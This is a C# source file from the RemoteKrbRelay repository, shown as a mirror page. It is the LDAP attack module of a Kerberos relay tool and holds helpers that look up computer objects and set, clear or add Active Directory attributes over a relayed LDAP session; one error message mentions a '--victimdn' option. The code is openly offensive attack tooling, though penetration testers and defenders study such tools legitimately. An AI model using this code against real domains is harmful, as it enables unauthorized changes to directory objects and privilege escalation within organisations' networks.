mirror of
https://github.com/rtecCyberSec/RemoteKrbRelay
synced 2026-06-08 17:15:13 +00:00
258 lines
11 KiB
C#
258 lines
11 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Linq;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
using System.Diagnostics;
|
|
using static RemoteKrbRelay.Helpers.Natives;
|
|
|
|
namespace RemoteKrbRelay.Relay.Attacks.Ldap
|
|
{
|
|
internal class Generic
|
|
{
|
|
public static Dictionary<string, List<byte[]>> GetLdapAttributes(IntPtr ld, IntPtr entry, ref IntPtr ber)
|
|
{
|
|
Dictionary<string, List<byte[]>> list = new Dictionary<string, List<byte[]>>();
|
|
for (var attr = ldap_first_attribute(ld, entry, ref ber);
|
|
attr != IntPtr.Zero;
|
|
attr = ldap_next_attribute(ld, entry, ber))
|
|
{
|
|
var vals = ldap_get_values_len(ld, entry, attr);
|
|
if (vals != IntPtr.Zero)
|
|
{
|
|
var attrName = Marshal.PtrToStringUni(attr);
|
|
if (attrName != null)
|
|
{
|
|
list.Add(
|
|
attrName,
|
|
RemoteKrbRelay.Helpers.Helpers.BerValArrayToByteArrays(vals)
|
|
);
|
|
}
|
|
ldap_value_free_len(vals);
|
|
}
|
|
}
|
|
return list;
|
|
}
|
|
|
|
public static string GetLdapDn(IntPtr ld, IntPtr entry)
|
|
{
|
|
var ptr = ldap_get_dn(ld, entry);
|
|
var dn = Marshal.PtrToStringUni(ptr);
|
|
return dn;
|
|
}
|
|
|
|
public static LdapStatus setAttribute(IntPtr ld, string attribute, byte[] value, string dn)
|
|
{
|
|
var modPropPtr = Marshal.StringToHGlobalUni(attribute);
|
|
var modValue = new List<byte[]> {
|
|
value
|
|
};
|
|
var modValuePtr = Marshal.AllocHGlobal(IntPtr.Size * 2);
|
|
RemoteKrbRelay.Helpers.Helpers.ByteArraysToBerValueArray(modValue.Select(_ => _ ?? Array.Empty<byte>()).ToArray(), modValuePtr);
|
|
List<LDAPMod> mod = new List<LDAPMod> {
|
|
new LDAPMod {
|
|
mod_op = (int)LdapModOperation.LDAP_MOD_REPLACE | (int)LdapModOperation.LDAP_MOD_BVALUES,
|
|
mod_type = modPropPtr,
|
|
mod_vals_u = new LDAPMod.mod_vals
|
|
{
|
|
modv_bvals = modValuePtr
|
|
},
|
|
mod_next = IntPtr.Zero
|
|
}
|
|
};
|
|
var ptr = Marshal.AllocHGlobal(IntPtr.Size * 2); // alloc memory for list with last element null
|
|
RemoteKrbRelay.Helpers.Helpers.StructureArrayToPtr(mod, ptr, true);
|
|
|
|
int pMessage = 1;
|
|
//int rest = ldap_modify_ext(ld, dn, ptr, IntPtr.Zero, IntPtr.Zero, ref pMessage);
|
|
int rest = ldap_modify_s(ld, dn, ptr);
|
|
|
|
mod.ForEach(_ =>
|
|
{
|
|
RemoteKrbRelay.Helpers.Helpers.BerValuesFree(_.mod_vals_u.modv_bvals);
|
|
Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals);
|
|
Marshal.FreeHGlobal(_.mod_type);
|
|
});
|
|
Marshal.FreeHGlobal(ptr);
|
|
|
|
return (LdapStatus)rest;
|
|
}
|
|
|
|
public static LdapStatus clearAttribute(IntPtr ld, string attribute, string dn)
|
|
{
|
|
var modPropPtr = Marshal.StringToHGlobalUni(attribute);
|
|
var modValue = new List<byte[]> { };
|
|
var modValuePtr = Marshal.AllocHGlobal(IntPtr.Size * 2);
|
|
RemoteKrbRelay.Helpers.Helpers.ByteArraysToBerValueArray(modValue.Select(_ => _ ?? Array.Empty<byte>()).ToArray(), modValuePtr);
|
|
List<LDAPMod> mod = new List<LDAPMod> {
|
|
new LDAPMod {
|
|
mod_op = (int)LdapModOperation.LDAP_MOD_REPLACE | (int)LdapModOperation.LDAP_MOD_BVALUES,
|
|
mod_type = modPropPtr,
|
|
mod_vals_u = new LDAPMod.mod_vals
|
|
{
|
|
modv_bvals = modValuePtr
|
|
},
|
|
mod_next = IntPtr.Zero
|
|
}
|
|
};
|
|
var ptr = Marshal.AllocHGlobal(IntPtr.Size * 2); // alloc memory for list with last element null
|
|
RemoteKrbRelay.Helpers.Helpers.StructureArrayToPtr(mod, ptr, true);
|
|
|
|
//int rest = ldap_modify_ext(ld, dn, ptr, IntPtr.Zero, IntPtr.Zero, out int pMessage);
|
|
int rest = ldap_modify_s(ld, dn, ptr);
|
|
Console.WriteLine("[*] ldap_clear: {0}", (LdapStatus)rest);
|
|
|
|
mod.ForEach(_ =>
|
|
{
|
|
RemoteKrbRelay.Helpers.Helpers.BerValuesFree(_.mod_vals_u.modv_bvals);
|
|
Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals);
|
|
Marshal.FreeHGlobal(_.mod_type);
|
|
});
|
|
Marshal.FreeHGlobal(ptr);
|
|
|
|
return (LdapStatus)rest;
|
|
}
|
|
|
|
public static LdapStatus addAttribute(IntPtr ld, string attribute, byte[] value, string dn)
|
|
{
|
|
var modPropPtr = Marshal.StringToHGlobalUni(attribute);
|
|
var modValue = new List<byte[]> {
|
|
value
|
|
};
|
|
var modValuePtr = Marshal.AllocHGlobal(IntPtr.Size * 2);
|
|
RemoteKrbRelay.Helpers.Helpers.ByteArraysToBerValueArray(modValue.Select(_ => _ ?? Array.Empty<byte>()).ToArray(), modValuePtr);
|
|
List<LDAPMod> mod = new List<LDAPMod> {
|
|
new LDAPMod {
|
|
mod_op = (int)LdapModOperation.LDAP_MOD_ADD | (int)LdapModOperation.LDAP_MOD_BVALUES,
|
|
mod_type = modPropPtr,
|
|
mod_vals_u = new LDAPMod.mod_vals
|
|
{
|
|
modv_bvals = modValuePtr
|
|
},
|
|
mod_next = IntPtr.Zero
|
|
}
|
|
};
|
|
var ptr = Marshal.AllocHGlobal(IntPtr.Size * 2); // alloc memory for list with last element null
|
|
RemoteKrbRelay.Helpers.Helpers.StructureArrayToPtr(mod, ptr, true);
|
|
|
|
//int rest = ldap_modify_ext(ld, dn, ptr, IntPtr.Zero, IntPtr.Zero, out int pMessage);
|
|
int rest = ldap_modify_s(ld, dn, ptr);
|
|
Console.WriteLine("[*] ldap_modify: {0}", (LdapStatus)rest);
|
|
|
|
mod.ForEach(_ =>
|
|
{
|
|
RemoteKrbRelay.Helpers.Helpers.BerValuesFree(_.mod_vals_u.modv_bvals);
|
|
Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals);
|
|
Marshal.FreeHGlobal(_.mod_type);
|
|
});
|
|
Marshal.FreeHGlobal(ptr);
|
|
|
|
return (LdapStatus)rest;
|
|
}
|
|
|
|
public static string getMachineDN(IntPtr ld, string computername = null)
|
|
{
|
|
if (string.IsNullOrEmpty(computername))
|
|
{
|
|
//computername = Environment.MachineName;
|
|
Debug.WriteLine($"[?] getMachineDN() computer name was null");
|
|
Debug.WriteLine($"[?] Try to specify DN using --victimdn");
|
|
Environment.Exit(0);
|
|
}
|
|
if (!computername.EndsWith("$"))
|
|
{
|
|
computername += "$";
|
|
}
|
|
var timeout = new LDAP_TIMEVAL
|
|
{
|
|
tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond)
|
|
};
|
|
IntPtr pLaps = RemoteKrbRelay.Helpers.Helpers.AllocHGlobalIntPtrArray(1 + 1);
|
|
var controlPtr = Marshal.StringToHGlobalUni("DistinguishedName");
|
|
Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr);
|
|
var search = ldap_search(ld, $"{Options.domainDN}", (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, $"(&(objectClass=computer)(sAMAccountName={computername}))", pLaps, 0);
|
|
//var search = ldap_search(ld, $"{Options.domainDN}", (int)LdapSearchScope.LDAP_SCOPE_BASE, $"(&(objectClass=computer)(sAMAccountName={computername}))", pLaps, 0);
|
|
//Console.WriteLine("[*] msgID: {0}", search);
|
|
|
|
IntPtr pMessage = IntPtr.Zero;
|
|
var r = ldap_result(
|
|
ld,
|
|
search,
|
|
0,
|
|
timeout,
|
|
ref pMessage);
|
|
var entry = ldap_first_entry(ld, pMessage);
|
|
IntPtr ber = IntPtr.Zero;
|
|
var attr = ldap_first_attribute(ld, entry, ref ber);
|
|
var vals = ldap_get_values_len(ld, entry, attr);
|
|
var attrName = Marshal.PtrToStringUni(attr);
|
|
//Console.WriteLine("ldap_first_attribute: {0}", attr);
|
|
//Console.WriteLine("ldap_get_values_len: {0}", vals);
|
|
//Console.WriteLine("attrName: {0}", attrName);
|
|
|
|
var result = new List<byte[]>();
|
|
foreach (var tempPtr in RemoteKrbRelay.Helpers.Helpers.GetPointerArray(vals))
|
|
{
|
|
berval bervalue = (berval)Marshal.PtrToStructure(tempPtr, typeof(berval));
|
|
if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero)
|
|
{
|
|
var byteArray = new byte[bervalue.bv_len];
|
|
Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len);
|
|
result.Add(byteArray);
|
|
}
|
|
}
|
|
byte[] t = result.SelectMany(a => a).ToArray();
|
|
//Console.WriteLine("[+] {0}: {1}", attribute, Encoding.ASCII.GetString(t));
|
|
|
|
Marshal.FreeHGlobal(controlPtr);
|
|
return Encoding.UTF8.GetString(t);
|
|
//return "";
|
|
}
|
|
|
|
public static string getPropertyValue(IntPtr ld, string adObject, string property)
|
|
{
|
|
var timeout = new LDAP_TIMEVAL
|
|
{
|
|
tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond)
|
|
};
|
|
IntPtr pLaps = RemoteKrbRelay.Helpers.Helpers.AllocHGlobalIntPtrArray(1 + 1);
|
|
var controlPtr = Marshal.StringToHGlobalUni(property);
|
|
Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr);
|
|
var search = ldap_search(ld, $"{Options.domainDN}", (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, $"(&(objectClass=*)(sAMAccountName={adObject}))", pLaps, 0);
|
|
//Console.WriteLine("[*] msgID: {0}", search);
|
|
|
|
IntPtr pMessage = IntPtr.Zero;
|
|
var r = ldap_result(
|
|
ld,
|
|
search,
|
|
0,
|
|
timeout,
|
|
ref pMessage);
|
|
var entry = ldap_first_entry(ld, pMessage);
|
|
IntPtr ber = IntPtr.Zero;
|
|
var attr = ldap_first_attribute(ld, entry, ref ber);
|
|
var vals = ldap_get_values_len(ld, entry, attr);
|
|
var attrName = Marshal.PtrToStringUni(attr);
|
|
//Console.WriteLine("ldap_first_attribute: {0}", attr);
|
|
//Console.WriteLine("ldap_get_values_len: {0}", vals);
|
|
//Console.WriteLine("attrName: {0}", attrName);
|
|
|
|
var result = new List<byte[]>();
|
|
foreach (var tempPtr in RemoteKrbRelay.Helpers.Helpers.GetPointerArray(vals))
|
|
{
|
|
berval bervalue = (berval)Marshal.PtrToStructure(tempPtr, typeof(berval));
|
|
if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero)
|
|
{
|
|
var byteArray = new byte[bervalue.bv_len];
|
|
Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len);
|
|
result.Add(byteArray);
|
|
}
|
|
}
|
|
byte[] t = result.SelectMany(a => a).ToArray();
|
|
//Console.WriteLine("[+] {0}: {1}", attribute, Encoding.ASCII.GetString(t));
|
|
|
|
Marshal.FreeHGlobal(controlPtr);
|
|
return Encoding.UTF8.GetString(t);
|
|
}
|
|
}
|
|
} |